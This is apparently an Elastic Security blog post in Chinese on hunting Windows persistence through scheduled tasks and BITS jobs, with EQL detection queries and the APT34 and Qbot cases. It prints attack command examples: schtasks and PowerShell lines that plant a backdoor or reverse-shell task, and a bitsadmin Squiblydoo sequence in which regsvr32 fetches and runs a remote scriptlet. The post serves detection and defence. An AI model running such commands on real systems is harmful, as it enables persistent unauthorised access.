在本系列的第二部分中,我们的目标是为安全从业人员提供更好的可见性、知识和能力,以应对每天影响全球组织的恶意持久化技术。
第一部分解释了什么是持久化以及攻击者为什么需要它。它介绍了事件查询语言 (EQL),然后展示了其在威胁搜寻中的实际用例。最后,它研究了攻击者用来维持持久化的一种常用技术,即 Windows Management Instrumentation (WMI) 事件订阅 (T1084)。我们分享了 Elastic Security 用户如何搜寻和检测其环境中使用的这项技术。
在这篇文章中,我们将探讨攻击者在野外使用的另外两种持久化技术:计划任务 (T1053) 和 BITS 作业 (T1197)。此博客假设您已经了解了一些 EQL,因为我们将逐步讲解实际示例,并为每种技术提供随时可用的检测逻辑。
通过计划任务持久化 (T1053)
Windows 提供了一个名为 schtasks.exe 的内置实用程序,允许您在本地或远程计算机上创建、删除、更改、运行和结束任务。计划任务以提升的权限级别运行,这意味着这种持久化机制也可以间接满足权限提升 (TA0004)。了解环境中存在的计划任务(例如维护或备份任务)以及安装新软件(如 PDF 阅读器或浏览器)期间创建的任务非常重要。对于安全团队来说,对他们的环境进行基准测试也至关重要,因为了解计划任务的所有合法使用方式将有助于您成为更有效的搜寻者,并更快地识别异常情况。
攻击者可能会尝试滥用计划任务,以便在启动时或定期执行程序以实现持久化。已知 APT34、APT29 和 FIN6 等威胁行为者使用计划任务作为持久化的一种手段。图 1 描绘了 schtasks.exe 可用的一些命令行参数,我们可以在分析任务创建事件时将其用作参考。
/Create - creates a new scheduled task
/RU - specifies the "run as" user account
/SC - specifies the schedule frequency
/TN - specifies the string in the form of path\name which uniquely identifies this scheduled task
/TR - specifies the path and file name of the program to be run at the scheduled time
/MO - specifies how often the task runs within its schedule type
/F - forcefully creates the task and suppresses warnings if the specified task already exists
图 1 - Windows schtasks.exe 可用命令行参数的一部分
图 2 显示了 schtasks.exe 命令的示例。此示例来自流行的 Living Off The Land Binaries and Scripts (LOLBAS) 项目,该项目演示了攻击者如何滥用内置的、受信任的操作系统实用程序来实现他们的目标。通过查看示例中的命令行参数,名为“Reverse Shell”的任务配置为每分钟执行二进制文件 C:\some\directory\revshell.exe。
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe
图 2 - 使用 schtasks.exe 创建计划任务的示例
Windows PowerShell 还包括几个 ScheduledTasks cmdlet,可用于在 Windows 端点上创建和管理计划任务。安全团队可以搜寻这些 cmdlet 的可疑使用情况,包括图 3 中列出的那些。已经部署 PowerShell 5.0 的组织应考虑监视可疑的脚本块日志记录事件,事件 ID 4104。有关 PowerShell 可见性和建议监视的日志源的良好资源可以在此处找到。
New-ScheduledTaskAction - creates a scheduled task action
New-ScheduledTaskTrigger - creates a scheduled task trigger object
Register-ScheduledTask - registers a scheduled task definition on a local computer
图 3 - 用于创建计划任务的常见 PowerShell cmdlet
图 4 显示了如何使用这些 PowerShell cmdlet 创建和注册计划任务。
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
图 4 - 用于创建和注册计划任务的 PowerShell cmdlet
真实案例:APT34 滥用计划任务
如前所述,APT34 是一个组织严密且技术精湛的政府支持的威胁组织,它已知使用计划任务来实现持久化。以下可视化(图 5)描绘了计划任务的一种使用方式。在这种情况下,我们通过 Resolver 视图看到了受害者打开网络钓鱼诱饵(步骤 1)的结果,该诱饵归因于 APT34 威胁组织。Resolver 是安全从业人员的关键推动因素,如第一部分所述。在此示例中,可以观察到以下行为:
- 打开了嵌入在 Microsoft Word 文档中的恶意宏(步骤 2)
- 打开 Word 文档并执行恶意宏后,本机 Windows 脚本解释器 (wscript.exe) 执行了攻击者引入的脚本(步骤 3)
- 该脚本创建了到 C2 的回调,同时还通过计划任务建立了持久化(步骤 4)
图 6 描绘了从恶意计划任务解析的命令行参数。每分钟,本机 Windows Script Host 实用程序 wscript.exe 将执行恶意 VBScript 文件 AppPool.vbs,该文件驻留在 ProgramData 子目录中。
搜寻计划任务
了解了该技术、可观察到的工件以及 schtasks.exe 执行的常见属性后,我们就做好了更充分的准备,可以成功搜寻恶意计划任务创建事件。图 7 中的 EQL 查询匹配任务计划程序进程 schtasks.exe 由多个常见的滥用二进制文件创建,并匹配先前描述的一些命令行参数的事件序列。通过在命令行上进行唯一化,这使我们能够将搜寻重点放在唯一的任务创建及其属性上。
此查询匹配我们之前 APT34 示例中描述的行为,其中 schtasks.exe 源自 wscript.exe。Windows 脚本宿主 (WSH) 是一种脚本解释器,通常不应有很多后代。在这种情况下,它表示 WSH 用于解释 JScript 或 VBScript 对象,该对象直接或通过代理使用 schtasks.exe 实现了计划任务。此 EQL 查询还可以另存为 Elastic Endpoint Security 中的自定义规则,以便分析师可以在每次发生此活动时收到警报。
process where subtype.create and
process_name == "schtasks.exe" and
descendant of
[process where process_name in ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe",
"wmic.exe", "mshta.exe","powershell.exe")] and
command_line == "* /create*" and
wildcard(command_line, "*/RU*", "*/SC*", "*/TN*", "*/TR*", "*/F*")
| unique command_line
图 7 - 用于搜索 schtasks.exe 作为常见滥用进程后代的创建的 EQL 查询
在 Elastic SIEM 中,我们可以搜索计划任务实用程序的使用情况,并将感兴趣的字段拖放到响应时间轴(图 8)中以进行进一步调查。可以将来自多个索引或数据源的数据添加到 时间轴视图中,这使分析师能够组织线索并调查复杂的威胁。7.6 版本引入了一个检测引擎,其中包含 92 个开箱即用的规则,用于检测 Windows、Linux、网络和 APM 遥测数据,并且还使用户能够创建自己的自定义规则。
其他计划任务注意事项
计划任务可能看起来并不复杂,但它们很好地说明了搜寻者必须了解攻击者可以在系统上计划任务的各种方式。当浅层监视某项技术时(即,仅查找 schtasks.exe 的使用情况),团队很容易让自己陷入虚假的安全感。了解攻击者的技巧并访问相关的遥测数据对于成功的威胁搜寻至关重要。
需要注意的是,攻击者可以通过多种其他方式滥用计划任务,包括攻击性安全工具、自定义脚本、.job 文件、AT 命令,以及直接通过 任务计划程序 API。Elastic Security 针对与滥用计划任务相关的各种 TTP 提供检测和防御,并提供 API 级别的可见性。
在下一节中,我们将分析 BITS 作业,攻击者如何在野外使用它们,以及识别或检测此技术的各种方法。
通过 BITS 作业实现持久化 (T1197)
Windows 后台智能传输服务 (BITS) 是一个内置框架,用于在 Web 和 SMB 服务器之间传输文件。Microsoft 提供了一个名为 bitsadmin.exe 的实用程序和 PowerShell cmdlet 来管理文件传输。
Microsoft 使用 BITS 在后台下载和安装更新 — 利用空闲带宽。例如,如果用户启动 Windows 更新并注销计算机,或者网络连接丢失,BITS 将在恢复时自动恢复下载。这种重启后仍然存在的能力使其成为攻击者传输恶意文件以及可能大量窃取数据的理想工具。像 APT40 这样的威胁组织和像 Qbot 银行木马这样的恶意软件家族都使用 BITS 来传输恶意文件并建立持久性。
图 9 显示了一些可以与 bitsadmin.exe 一起使用的参数。我们可以通过关注创建和传输命令行选项来识别有趣的活动。
/create - creates a transfer job with the given display name
/addfile - adds a file to the specified job
/resume - activates a new or suspended job in the transfer queue
/transfer - transfers one or more files
/SetNotifyCmdLine - sets the command that will run when the job finishes transferring data or when a job enters a state
/SetMinRetryDelay - sets the minimum length of time, in seconds, that BITS waits after encountering a transient error before trying to transfer the file
图 9 - 可以与 Windows bitsadmin.exe 实用程序一起使用的参数
图 10 显示了如何使用上述参数创建 BITS 作业的示例。以下来自 bitsadminexec 项目的示例演示了如何使用 bitsadmin.exe 执行由 Casey Smith 发现的 Squiblydoo 技术。Squiblydoo 利用 regsvr32.exe 下载一个 XML 文件,其中包含用于在受害者计算机上执行代码的脚本小程序。这个示例执行 calc.exe,但这是一个很好的示例,说明如何恶意使用它。
# create backdoor
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
图 10 - 使用 bitsadmin.exe 执行 Squiblydoo 的示例
自 BITS 4.0 版本(Windows Server 2008 R2 和 Windows 7 中的标准)以来,PowerShell cmdlet 也可用于创建和管理文件传输作业。用于 BITS 的 PowerShell cmdlet 提供了与 bitsadmin.exe 命令行实用程序大致相同的功能,其中一部分如图 11 所示
Add-BitsFile - add one or more files to a BITS transfer
Resume-BitsTransfer - resumes a suspended BITS transfer job
Set-BitsTransfer - modifies the properties of a BITS transfer job
Start-BitsTransfer - create and start a BITS transfer job
图 11 - BITS 的常用 PowerShell cmdlet
一个值得监控的 cmdlet 是 Start-BitsTransfer。文件的本地和远程名称在 Source 和 Destination 参数中指定。这可以如图 12 所示。如前所述,分析师应监视 Microsoft-Windows-PowerShell/Operational 日志中可疑的脚本块日志记录事件(事件 ID 4104)。
搜寻恶意 BITS 作业
图 13 中的 EQL 查询演示了您在搜寻恶意使用 bitsadmin.exe 时可能会看到的一些命令行参数。该查询搜索 bitsadmin.exe 二进制文件的进程创建事件以及与 BITS 作业的创建或传输相关的常见命令行参数,并根据命令行值返回唯一结果。在搜寻时关注唯一结果可以让我们缩小关注范围,并更容易地发现异常活动。
process where subtype.create and
process_name == "bitsadmin.exe" and
wildcard(command_line, "*Transfer*", "*Create*", "*AddFile*", "*SetNotifyCmdLine*",
"*SetMinRetryDelay*", "*Resume*")
| unique command_line
图 13 - EQL 查询查找常见的 bitsadmin.exe 命令行参数
此外,在规则创建期间,您可以选择启用“反射响应”。使用“反射响应”,如果检测到自定义规则中定义的此类行为,它将使用 Endpoint Security 独特的遥测收集和增强功能来执行自动响应,以防止损坏和损失发生(图 14)。此功能使分析师能够采取行动来阻止恶意行为,然后调查导致威胁发生以及威胁发生后发生的事件,而不是调查可能已经过了补救阶段的当前威胁。
在 Endpoint Security 产品中使用上述 EQL 查询执行 EQL 搜索可以找到像 Qbot 这样的真实世界的攻击活动,如图 15 所示。
真实世界示例:Qbot 恶意软件
QBot 是一种广泛传播的银行木马,能够自我复制,并且历史上一直依赖 PowerShell。然而,最近它可能被 放弃 而改用 bitsadmin.exe — 这是一个不太可能受到严格审查的应用程序。
此变体通过伪装成 .doc 文件来利用 .vbs 下载器,因为 Windows 默认情况下仍然会隐藏原始文件名扩展名。在执行时(在本例中是通过父进程 wscript.exe),恶意软件会生成 bitsadmin.exe 来创建一个传输作业,该作业会下载后续负载,如 SIEM 应用程序中的时间线视图所示(图 16)。
分析如图 17 所示的 process.args 字段值表明,恶意软件执行以下操作
- 创建具有高优先级的随机命名传输作业
- 使用 bitsadmin.exe 从命令和控制 (C2) 服务器下载其第二阶段负载(请注意,widgetcontrol.png 实际上是一个 Windows 可执行文件)
- 对端点的操作系统版本和防病毒软件上的数据进行 Base64 编码,并将其在信标 URI 中传递回 C2
- 随机化有效负载的名称并将其写入 %AppData% 路径的子文件夹
此示例展示了威胁行为者如何通过使用不太常见的内置实用程序来尝试绕过传统防御,从而使用 bitsadmin.exe。威胁行为者有效地使用此应用程序来传输文件并在受害者环境中保持存在。
其他 BITS 相关内容
Microsoft_Windows_Bits_Cient Operational.evtx 日志文件是 Microsoft 原生的事件日志。它记录 BITS 客户端通过 bitsadmin.exe 或 PowerShell 执行的每个操作。在该日志存储中,当 BITS 服务创建新作业时,会使用事件 ID 3。可以配置 Winlogbeat 来监视该事件.提供程序,如图 18 所示。Elastic Security 为企业级 BITS 滥用提供遥测、检测和威胁搜寻功能。
结论
在本博客系列中,我们研究了攻击者用来在目标环境中保持存在的常用技术。攻击者武器库中的技术数量起初可能看起来令人生畏,但我们演示了一种公式化的方法来有效地检查、搜寻和检测技术。通过围绕对手的技巧建立理解,您可以识别有趣的模式、行为和工件,您可以利用它们来发挥自己的优势。
Elastic Security 使搜寻持久性变得容易。Elastic Endpoint Security 和 SIEM 的功能(以及开箱即用的保护)降低了分析师的入门门槛,提供了对端点活动的详细可见性,并使组织能够大规模地预防、检测和响应恶意行为。
立即免费试用 Elastic SIEM。要了解有关威胁搜寻的更多信息,请下载免费的 《Elastic 威胁搜寻指南》。
观看我们关于使用 Elastic Security 搜寻持久性的在线研讨会。